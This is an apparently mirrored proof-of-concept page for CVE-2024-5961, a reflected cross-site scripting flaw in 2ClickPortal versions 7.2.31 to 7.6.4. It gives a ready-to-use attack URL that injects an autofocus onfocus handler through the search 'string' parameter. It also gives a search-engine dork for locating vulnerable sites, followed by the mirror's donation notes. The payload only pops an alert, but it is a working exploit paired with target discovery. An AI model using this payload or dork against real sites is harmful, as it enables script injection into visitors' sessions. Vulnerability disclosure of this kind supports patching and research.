CVE-2024-5961 PoC — 2ClickPortal 安全漏洞

Source

https://github.com/kac89/CVE-2024-5961

Associated Vulnerability

Title:2ClickPortal 安全漏洞 (CVE-2024-5961)
Description:2ClickPortal是2ClickPortal公司的一个门户网站。 2ClickPortal 7.2.31至7.6.4版本存在安全漏洞，该漏洞源于在生成网页时对输入的中和不当，容易受到反射型跨站脚本攻击。

Description

Reflected XSS in 2ClickPortal

Readme

# CVE-2024-5961
Reflected XSS in 2ClickPortal
Version: from 7.2.31 through 7.6.4.
`intext:"Powered by 2ClickPortal"`

## PoC

```
https://[domain]/szukaj/?search_lang=pl&search=all&string=" onfocus=alert(1) autofocus="
```

File Snapshot


 [4.0K]  /data/pocs/5bf47dc81822bc8b414218610b08b4a08d99410a
└── [ 223]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!